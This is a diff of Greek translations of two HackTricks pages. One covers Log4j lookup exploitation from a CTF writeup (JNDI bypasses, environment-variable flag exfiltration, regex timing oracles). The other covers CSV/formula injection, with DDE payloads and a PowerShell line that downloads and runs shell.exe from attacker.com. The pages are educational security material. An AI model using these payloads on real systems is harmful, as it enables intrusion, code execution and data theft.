> Από την έκδοση 2.17.0 (και 2.12.3 και 2.3.1 για Java 7 και Java 6), μόνο οι αναζητήσεις συμβολοσειρών στη διαμόρφωση επεκτείνονται αναδρομικά. Σε οποιαδήποτε άλλη χρήση, επιλύεται μόνο η αναζήτηση στο επίπεδο κορυφής και οι ενσωματωμένες αναζητήσεις δεν επιλύονται. > Από την έκδοση 2.17.0, (και 2.12.3 και 2.3.1 για Java 7 και Java 6), **μόνο οι συμβολοσειρές αναζήτησης στη διαμόρφωση επεκτείνονται αναδρομικά**. Σε οποιαδήποτε άλλη χρήση, επιλύεται μόνο η αναζήτηση στο επίπεδο κορυφής, και οι οποιεσδήποτε ενσωματωμένες αναζητήσεις δεν επιλύονται.
Αυτό σημαίνει ότι από προεπιλογή μπορείτε να ξεχάσετε τη χρήση οποιασδήποτε εκμετάλλευσης `jndi`. Επιπλέον, για να πραγματοποιήσετε αναδρομικές αναζητήσεις, πρέπει να τις έχετε ρυθμίσει. Αυτό σημαίνει ότι από προεπιλογή μπορείτε **να ξεχάσετε τη χρήση οποιασδήποτε εκμετάλλευσης `jndi`**. Επιπλέον, για να εκτελέσετε **αναδρομικές αναζητήσεις** πρέπει να τις έχετε διαμορφώσει.
Για παράδειγμα, σε αυτό το CTF αυτό ήταν ρυθμισμένο στο αρχείο log4j2.xml: Για παράδειγμα, σε αυτό το CTF αυτό ήταν διαμορφωμένο στο αρχείο log4j2.xml:
```xml ```xml
<Console name="Console" target="SYSTEM_ERR"> <Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n"> <PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
@ -279,31 +341,31 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
``` ```
### Αναζητήσεις Περιβάλλοντος ### Αναζητήσεις Περιβάλλοντος
Σε [αυτό το CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/), ο επιτιθέμενος ελέγχει την τιμή του `${sys:cmd}` και χρειάζεται να αποκτήσει πρόσβαση στη σημαία από μια μεταβλητή περιβάλλοντος.\ Σε [αυτό το CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/), ο επιτιθέμενος ελέγχει την τιμή του `${sys:cmd}` και χρειαζόταν να εξαγάγει τη σημαία από μια μεταβλητή περιβάλλοντος.\
Όπως φαίνεται σε αυτήν τη σελίδα στα [**προηγούμενα payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), υπάρχουν διάφοροι τρόποι για να αποκτηθεί πρόσβαση σε μεταβλητές περιβάλλοντος, όπως: **`${env:FLAG}`**. Σε αυτό το CTF αυτό ήταν άχρηστο, αλλά μπορεί να μην είναι σε άλλα πραγματικά περιστατικά. Όπως φαίνεται σε αυτήν τη σελίδα στα [**προηγούμενα payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) υπάρχουν διάφοροι τρόποι πρόσβασης σε μεταβλητές περιβάλλοντος, όπως: **`${env:FLAG}`**. Σε αυτό το CTF αυτό ήταν άχρηστο, αλλά μπορεί να μην είναι σε άλλα πραγματικά σενάρια.
### Εξαγωγή σε Εξαιρέσεις ### Εξαγωγή μέσω Εξαιρέσεων
Στο CTF, δεν μπορούσατε να έχετε πρόσβαση στο stderr της εφαρμογής Java χρησιμοποιώντας το log4J, αλλά οι εξαιρέσεις του Log4J αποστέλλονται στο stdout, το οποίο εμφανίζεται στην εφαρμογή Python. Αυτό σήμαινε ότι, εκτελώντας μια εξαίρεση, μπορούσαμε να έχουμε πρόσβαση στο περιεχόμενο. Μια εξαίρεση για να εξαγάγουμε τη σημαία ήταν: **`${java:${env:FLAG}}`.** Αυτό λειτουργεί επειδή **`${java:CTF{blahblah}}`** δεν υπάρχει και θα εμφανιστεί μια εξαίρεση με την τιμή της σημαίας: Στο CTF, **δεν μπορούσατε να έχετε πρόσβαση στο stderr** της εφαρμογής Java χρησιμοποιώντας το log4J, αλλά οι **εξαιρέσεις του Log4J στέλνονται στο stdout**, το οποίο εκτυπώνεται στην εφαρμογή Python. Αυτό σήμαινε ότι εκτυπώνοντας μια εξαίρεση μπορούσαμε να έχουμε πρόσβαση στο περιεχόμενο. Μια εξαίρεση για την εξαγωγή της σημαίας ήταν: **`${java:${env:FLAG}}`.** Αυτό λειτουργεί επειδή **`${java:CTF{blahblah}}`** δεν υπάρχει και μια εξαίρεση με την τιμή της σημαίας θα εμφανιστεί:
![](<../../.gitbook/assets/image (157).png>) ![](<../../.gitbook/assets/image (157).png>)
### Εξαιρέσεις Προτύπων Μετατροπής ### Εξαιρέσεις Μοτίβων Μετατροπής
Απλά για να το αναφέρουμε, μπορείτε επίσης να εισάγετε νέα [**πρότυπα μετατροπής**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) και να προκαλέσετε εξαιρέσεις που θα καταγραφούν στο `stdout`. Για παράδειγμα: Απλά για να το αναφέρουμε, θα μπορούσατε επίσης να ενθέτετε νέα [**μοτίβα μετατροπής**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) και να προκαλείτε εξαιρέσεις που θα καταγράφονται στο `stdout`. Για παράδειγμα:
![](<../../.gitbook/assets/image (3) (2) (1) (1).png>) ![](<../../.gitbook/assets/image (3) (2) (1) (1).png>)
Αυτό δεν βρέθηκε χρήσιμο για την εξαγωγή ημερομηνίας μέσα στο μήνυμα σφάλματος, επειδή η αναζήτηση δεν επιλύθηκε πριν το πρότυπο μετατροπής, αλλά μπορεί να είναι χρήσιμο για άλλα πράγματα, όπως η ανίχνευση. Αυτό δεν βρέθηκε χρήσιμο για την εξαγωγή ημερομηνίας μέσα στο μήνυμα σφάλματος, επειδή η αναζήτηση δεν είχε λυθεί πριν το μοτίβο μετατροπής, αλλά θα μπορούσε να είναι χρήσιμο για άλλα πράγματα, όπως η ανίχνευση.
### Πρότυπα Μετατροπής Με Ρυθμίσεις Κανονικών Εκφράσεων ### Μοτίβα Μετατροπής Ρυθμίσεων
Ωστόσο, είναι δυνατόν να χρησιμοποιηθούν ορισμένα πρότυπα μετατροπής που υποστηρίζουν κανονικές εκφράσεις για να εξαχθούν πληροφορίες από μια αναζήτηση χρησιμοποιώντας κανονικές εκφράσεις και καταχρώντας τη συμπεριφορά της **δυαδικής αναζήτησης** ή της **βασισμένης στο χρόνο**. Ωστόσο, είναι δυνατόν να χρησιμοποιηθούν μερικά **μοτίβα μετατροπής που υποστηρίζουν regexes** για την εξαγωγή πληροφοριών από μια αναζήτηση χρησιμοποιώντας regexes και καταχρώντας τη συμπεριφορά **δυαδικής αναζήτησης** ή **βασισμένη στο χρόνο**.
* **Δυαδική αναζήτηση μέσω μηνυμάτων εξαιρέσεων** * **Δυαδική αναζήτηση μέσω μηνυμάτων εξαιρέσεων**
Το πρότυπο μετατροπής **`%replace`** μπορεί να χρησιμοποιηθεί για να **αντικαταστήσει** **περιεχόμενο** από μια **συμβολοσειρά** ακόμα και χρησιμοποιώντας **κανονικές εκφράσεις**. Λειτουργεί ως εξής: `replace{pattern}{regex}{substitution}`\ Το μοτίβο μετατροπής **`%replace`** μπορεί να χρησιμοποιηθεί για να **αντικαταστήσει** **περιεχόμενο** από ένα **συμβολοσειρά** ακόμη και χρησιμοποιώντας **regexes**. Λειτουργεί ως εξής: `replace{pattern}{regex}{substitution}`\
Καταχρώντας αυτήν τη συμπεριφορά, μπορείτε να κάνετε την αντικατάσταση **να προκαλέσει μια εξαίρεση αν η κανονική έκφραση ταιριάζει** με οτιδήποτε μέσα στη συμβολοσειρά (και χωρίς εξαίρεση αν δεν βρεθεί) όπως εδώ: Καταχρώντας αυτήν τη συμπεριφορά μπορείτε να κάνετε την αντικατάσταση **να προκαλέσει μια εξαίρεση αν το regex ταιριάζει** με οτιδήποτε μέσα στη συμβολοσειρά (και χωρίς εξαίρεση αν δεν βρεθεί) όπως αυτό:
```bash ```bash
%replace{${env:FLAG}}{^CTF.*}{${error}} %replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.* # The string searched is the env FLAG, the regex searched is ^CTF.*
@ -311,10 +373,10 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
``` ```
* **Βασισμένο στον χρόνο** * **Βασισμένο στον χρόνο**
Όπως αναφέρθηκε στην προηγούμενη ενότητα, το **`%replace`** υποστηρίζει **regexes**. Έτσι, είναι δυνατόν να χρησιμοποιηθεί ένα payload από την [σελίδα ReDoS](../regular-expression-denial-of-service-redos.md) για να προκαλέσει μια **καθυστέρηση** σε περίπτωση που βρεθεί η σημαία.\ Όπως αναφέρθηκε στην προηγούμενη ενότητα, το **`%replace`** υποστηρίζει **regexes**. Έτσι είναι δυνατόν να χρησιμοποιηθεί φορτίο από τη σελίδα [**ReDoS**](../regular-expression-denial-of-service-redos.md) για να προκαλέσει **timeout** σε περίπτωση που βρεθεί η σημαία.\
Για παράδειγμα, ένα payload όπως `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` θα προκαλέσει μια **καθυστέρηση** σε αυτό το CTF. Για παράδειγμα, ένα φορτίο όπως `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` θα προκαλούσε ένα **timeout** σε αυτό το CTF.
Σε αυτό το [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), αντί να χρησιμοποιηθεί μια επίθεση ReDoS, χρησιμοποιήθηκε μια **επίθεση ενίσχυσης** για να προκαλέσει μια διαφορά χρόνου στην απόκριση: Σε αυτό το [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), αντί να χρησιμοποιηθεί επίθεση ReDoS, χρησιμοποιήθηκε μια **επίθεση ενίσχυσης** για να προκαλέσει διαφορά χρόνου στην απόκριση:
> ``` > ```
> /%replace{ > /%replace{
@ -333,9 +395,9 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
> }{#}{######################################################} > }{#}{######################################################}
> ``` > ```
> >
> Αν η σημαία ξεκινά με `flagGuess`, ολόκληρη η σημαία αντικαθίσταται με 29 `#` (χρησιμοποίησα αυτόν τον χαρακτήρα επειδή πιθανότατα δεν θα ανήκει στη σημαία). **Κάθε ένα από τα 29 προκύπτοντα `#` αντικαθίσταται με 54 `#`**. Αυτή η διαδικασία επαναλαμβάνεται **6 φορές**, με αποτέλεσμα ένα συνολικό αριθμό ` 29*54*54^6* =`` `` `**`96816014208` `#`-s!** > Αν η σημαία ξεκινά με `flagGuess`, ολόκληρη η σημαία αντικαθίσταται με 29 `#` (χρησιμοποίησα αυτό το χαρακτήρα επειδή πιθανότατα δεν θα αποτελεί μέρος της σημαίας). **Κάθε ένα από τα 29 `#` αντικαθίσταται με 54 `#`**. Αυτή η διαδικασία επαναλαμβάνεται **6 φορές**, οδηγώντας σε συνολικά ` 29*54*54^6* =`` `` `**`96816014208`** **`#`!**
> >
> Η αντικατάσταση τόσων πολλών `#` θα προκαλέσει την καθυστέρηση 10 δευτερολέπτων της εφαρμογής Flask, που αποτελείται στη συνέχεια στην αποστολή του κωδικού κατάστασης HTTP 500 στον χρήστη. (Αν η σημαία δεν ξεκινά με `flagGuess`, θα λάβουμε έναν μη-500 κωδικό κατάστασης) > Η αντικατάσταση τόσων πολλών `#` θα προκαλέσει το timeout 10 δευτερολέπτων της εφαρμογής Flask, που στη συνέχεια θα οδηγήσει στην αποστολή του κωδικού κατάστασης HTTP 500 στον χρήστη. (Αν η σημαία δεν ξεκινά με `flagGuess`, θα λάβουμε έναν μη-κωδικό κατάστασης 500)
## Αναφορές ## Αναφορές
@ -348,23 +410,16 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) * [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) * [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Το Intruder παρακολουθεί την επιθετική επιφάνειά σας, εκτελεί προληπτικές απειλητικές σάρωσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίχημα, από APIs έως web εφαρμογές και συστήματα cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details> </details>

View file

@ -1,35 +1,27 @@
# Εισαγωγή Τύπου/CSV/Έγγραφο/LaTeX/GhostScript # Ενσωμάτωση Τύπου Φόρμουλας/CSV/Εγγράφου/LaTeX/GhostScript
<details> <details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details> </details>
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> ## Ενσωμάτωση Φόρμουλας
Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίχημα, από διεπαφές προς διαδικτυακές εφαρμογές και συστήματα cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Εισαγωγή Τύπου
### Πληροφορίες ### Πληροφορίες
Εάν η **είσοδός** σας **αντανακλάται** μέσα σε **αρχεία CSV** (ή οποιοδήποτε άλλο αρχείο που πιθανόν να ανοίξει ο **Excel**), μπορείτε να τοποθετήσετε **τύπους Excel** που θα εκτελεστούν όταν ο χρήστης **ανοίγει το αρχείο** ή όταν ο χρήστης **κάνει κλικ σε κάποιο σύνδεσμο** μέσα στο φύλλο του Excel. Αν το **input** σας **αντανακλάται** μέσα σε **αρχεία CSV** (ή οποιοδήποτε άλλο αρχείο που πιθανόν να ανοίξει ο **Excel**), μπορείτε ενδεχομένως να εισάγετε **φόρμουλες Excel** που θα **εκτελεστούν** όταν ο χρήστης **ανοίξει το αρχείο** ή όταν ο χρήστης **κάνει κλικ σε κάποιο σύνδεσμο** μέσα στο φύλλο Excel.
{% hint style="danger" %} {% hint style="danger" %}
Σήμερα, ο **Excel θα ειδοποιήσει** (αρκετές φορές) τον **χρήστη όταν κάτι φορτώνεται από έξω από το Excel** για να τον προφυλάξει από κακόβουλες ενέργειες. Επομένως, πρέπει να εφαρμοστεί ειδική προσπάθεια στον Κοινωνικό Μηχανισμό για το τελικό φορτίο. Σήμερα το **Excel θα ειδοποιήσει** (πολλές φορές) τον **χρήστη όταν κάτι φορτώνεται από έξω από το Excel** για να τον προστατεύσει από κακόβουλες ενέργειες. Συνεπώς, πρέπει να εφαρμοστεί ειδική προσπάθεια στον κοινωνικό μηχανικό για το τελικό φορτίο.
{% endhint %} {% endhint %}
### [Λίστα Λέξεων](https://github.com/payloadbox/csv-injection-payloads) ### [Λίστα Λέξεων](https://github.com/payloadbox/csv-injection-payloads)
@ -43,38 +35,34 @@ DDE ("cmd";"/C calc";"!A0")A0
``` ```
### Υπερσύνδεσμος ### Υπερσύνδεσμος
**Το παρακάτω παράδειγμα είναι πολύ χρήσιμο για να εξαγάγετε περιεχόμενο από το τελικό αρχείο Excel και να πραγματοποιήσετε αιτήσεις σε αυθαίρετες τοποθεσίες. Αλλά απαιτεί τον χρήστη να κάνει κλικ στον σύνδεσμο (και να αποδεχθεί τις προειδοποιήσεις).** **Το παρακάτω παράδειγμα είναι πολύ χρήσιμο για την εξαγωγή περιεχομένου από το τελικό φύλλο Excel και για την αποστολή αιτημάτων σε αυθαίρετες τοποθεσίες. Αλλά απαιτεί τον χρήστη να κάνει κλικ στον σύνδεσμο (και να αποδεχτεί τις προειδοποιήσεις).**
Το παρακάτω παράδειγμα προήλθε από [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) Το παρακάτω παράδειγμα προήλθε από [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Φανταστείτε μια παραβίαση ασφάλειας σε ένα σύστημα διαχείρισης εγγραφών φοιτητών που εκμεταλλεύεται μια επίθεση εισροής CSV. Ο κύριος σκοπός του επιτιθέμενου είναι να διακινδυνεύσει το σύστημα που χρησιμοποιούν οι καθηγητές για τη διαχείριση των λεπτομερειών των φοιτητών. Η μέθοδος περιλαμβάνει την εισροή επιβλαβούς φορτίου από τον επιτιθέμενο στην εφαρμογή, συγκεκριμένα εισάγοντας επιβλαβείς τύπους στα πεδία που προορίζονται για τις λεπτομέρειες των φοιτητών. Η επίθεση εξελίσσεται ως εξής: Φανταστείτε μια παραβίαση ασφαλείας σε ένα σύστημα Διαχείρισης Εγγραφών Φοιτητών που εκμεταλλεύεται μια επίθεση εισροής CSV. Η κύρια πρόθεση του επιτιθέμενου είναι να διακινδυνεύσει το σύστημα που χρησιμοποιούν οι καθηγητές για τη διαχείριση των λεπτομερειών των φοιτητών. Η μέθοδος περιλαμβάνει την εισροή μιας κακόβουλης φορτίωσης στην εφαρμογή, συγκεκριμένα με την εισαγωγή επιβλαβών τύπων σε πεδία που προορίζονται για τις λεπτομέρειες των φοιτητών. Η επίθεση εξελίσσεται ως εξής:
1. **Εισροή Επιβλαβούς Φορτίου:**
- Ο επιτιθέμενος υποβάλλει ένα φόρμα λεπτομερειών φοιτητή, αλλά περιλαμβάνει μια τύπο συνήθως χρησιμοποιούμενη σε υπολογιστικά φύλλα (π.χ. `=HYPERLINK("<κακόβουλος_σύνδεσμος>","Κάντε κλικ εδώ")`).
- Αυτή η τύπος σχεδιάστηκε για να δημιουργήσει έναν υπερσύνδεσμο, αλλά δείχνει προς ένα κακόβουλο διακομιστή που ελέγχεται από τον επιτιθέμενο.
2. **Εξαγωγή Παραβιασμένων Δεδομένων:**
- Οι καθηγητές, χωρίς να γνωρίζουν την παραβίαση, χρησιμοποιούν τη λειτουργικότητα της εφαρμογής για να εξάγουν τα δεδομένα σε ένα αρχείο CSV.
- Το αρχείο CSV, όταν ανοίγεται, περιέχει ακόμα το κακόβουλο φορτίο. Αυτό το φορτίο εμφανίζεται ως ένας κλικαρίσματος υπερσύνδεσμος στο υπολογιστικό φύλλο.
1. **Εισαγωγή Κακόβουλης Φορτίωσης:**
* Ο επιτιθέμενος υποβάλλει ένα φόρμα λεπτομερειών φοιτητή αλλά περιλαμβάνει μια φόρμουλα που χρησιμοποιείται συχνά σε υπολογιστικά φύλλα (π.χ., `=HYPERLINK("<κακόβουλος_σύνδεσμος>","Κάντε κλικ εδώ")`).
* Αυτή η φόρμουλα σχεδιάστηκε για να δημιουργήσει έναν υπερσύνδεσμο, αλλά δείχνει προς έναν κακόβουλο διακοντηριαστή ελεγχόμενο από τον επιτιθέμενο.
2. **Εξαγωγή Καταστραφέντων Δεδομένων:**
* Οι καθηγητές, χωρίς να γνωρίζουν την παραβίαση, χρησιμοποιούν τη λειτουργικότητα της εφαρμογής για να εξάγουν τα δεδομένα σε ένα αρχείο CSV.
* Το αρχείο CSV, όταν ανοίγεται, περιέχει ακόμα την κακόβουλη φορτίωση. Αυτή η φορτίωση εμφανίζεται ως κλικάρισμα υπερσυνδέσμου στο υπολογιστικό φύλλο.
3. **Ενεργοποίηση της Επίθεσης:** 3. **Ενεργοποίηση της Επίθεσης:**
- Ένας καθηγητής κάνει κλικ στον υπερσύνδεσμο, πιστεύοντας ότι αποτελεί ένα νόμιμο μέρος των λεπτομερειών του φοιτητή. * Ένας καθηγητής κάνει κλικ στον υπερσύνδεσμο, πιστεύοντας ότι αποτελεί νόμιμο μέρος των λεπτομερειών του φοιτητή.
- Μετά το κλικ, ευαίσθητα δεδομένα (πιθανώς περιλαμβανομένων λεπτομερειών από το υπολογιστικό φύλλο ή του υπολογιστή του καθηγητή) μεταδίδονται στον διακομιστή του επιτιθέμενου. * Με το κλικ, ευαίσθητα δεδομένα (πιθανώς περιλαμβάνοντας λεπτομέρειες από το υπολογιστικό φύλλο ή τον υπολογιστή του καθηγητή) μεταδίδονται στον διακοντηριαστή του επιτιθέμενου.
4. **Καταγραφή των Δεδομένων:** 4. **Καταγραφή των Δεδομένων:**
- Ο διακομιστής του επιτιθέμενου λαμβάνει και καταγράφει τα ευαίσθητα δεδομένα που αποστέλλονται από τον υπολογιστή του καθηγητή. * Ο διακοντηριαστής του επιτιθέμενου λαμβάνει και καταγράφει τα ευαίσθητα δεδομένα που στάλθηκαν από τον υπολογιστή του καθηγητή.
- Ο επιτιθέμενος μπορεί στη συνέχεια να χρησιμοποιήσει αυτά τα δεδομένα για διάφορους κακόβουλους σκοπούς, περαιτέρω διακινδυνεύοντας την ιδιωτικότητα και την ασφάλεια των φοιτητών και του ιδρύματος. * Ο επιτιθέμενος μπορεί στη συνέχεια να χρησιμοποιήσει αυτά τα δεδομένα για διάφορους κακόβουλους σκοπούς, διακινδυνεύοντας περαιτέρω την ιδιωτικότητα και την ασφάλεια των φοιτητών και του ιδρύματος.
### RCE ### RCE
**Ελέγξτε την [αρχική ανάρτηση](https://notsosecure.com/data-exfiltration-formula-injection-part1) για περισσότερες λεπτομέρειες.** **Ελέγξτε την** [**αρχική ανάρτηση**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **για περαιτέρω λεπτομέρειες.**
Σε συγκεκριμένες διαμορφώσεις ή παλαιότερες εκδόσεις του Excel, μια λειτουργία που ονομάζεται Δυναμική Ανταλλαγή Δεδομένων (DDE) μπορεί να εκμεταλλευτεί για την εκτέλεση αυθαίρετων εντολών. Για να εκμεταλλευτείτε αυτό, πρέπει να ενεργοποιηθούν οι παρακάτω ρυθμίσεις: Σε συγκεκριμένες ρυθμίσεις ή παλαιότερες εκδόσεις του Excel, μια λειτουργία που ονομάζεται Δυναμική Ανταλλαγή Δεδομένων (DDE) μπορεί να εκμεταλλευτεί για την εκτέλεση αυθαίρετων εντολών. Για να επωφεληθεί από αυτό, πρέπει να ενεργοποιηθούν οι ακόλουθες ρυθμίσεις:
- Πηγαίνετε στο Αρχείο → Επιλογές → Κέντρο Εμπιστοσύνης → Ρυθμίσεις Κέντρου Εμπιστοσύνης → Εξωτερικό Περιεχόμενο και ενεργοποιήστε την επιλογή **Εκκίνηση Διακομιστή Δυναμικής Ανταλλαγής Δεδομένων**. * Πλοήγηση σε Αρχείο → Επιλογές → Κέντρο Εμπιστοσύνης → Ρυθμίσεις Κέντρου Εμπιστοσύνης → Εξωτερικό Περιεχόμενο, και ενεργοποίηση του **Εκκίνηση Διακοντηριαστή Δυναμικής Ανταλλαγής Δεδομένων**.
Όταν ανοίγεται ένα υπολογιστικό φύλλο με το κακόβουλο φορτίο (και αν ο χρήστης αποδεχθεί τις προειδοποιήσεις), το φορτίο εκτελείται. Για παράδειγμα, για να εκκινήσει η εφαρμογή αριθμομηχανής, το φορτίο θα ήταν: Όταν ανοίγεται ένα υπολογιστικό φύλλο με την κακόβουλη φορτίωση (και αν ο χρήστης αποδέχεται τις προειδοποιήσεις), η φορτίωση εκτελείται. Για παράδειγμα, για να εκκινήσει η εφαρμογή αριθμομηχανής, η φορτίωση θα ήταν:
```markdown ```markdown
`=cmd|' /C calc'!xxx` `=cmd|' /C calc'!xxx`
``` ```
@ -82,41 +70,40 @@ DDE ("cmd";"/C calc";"!A0")A0
```bash ```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1 =cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
``` ```
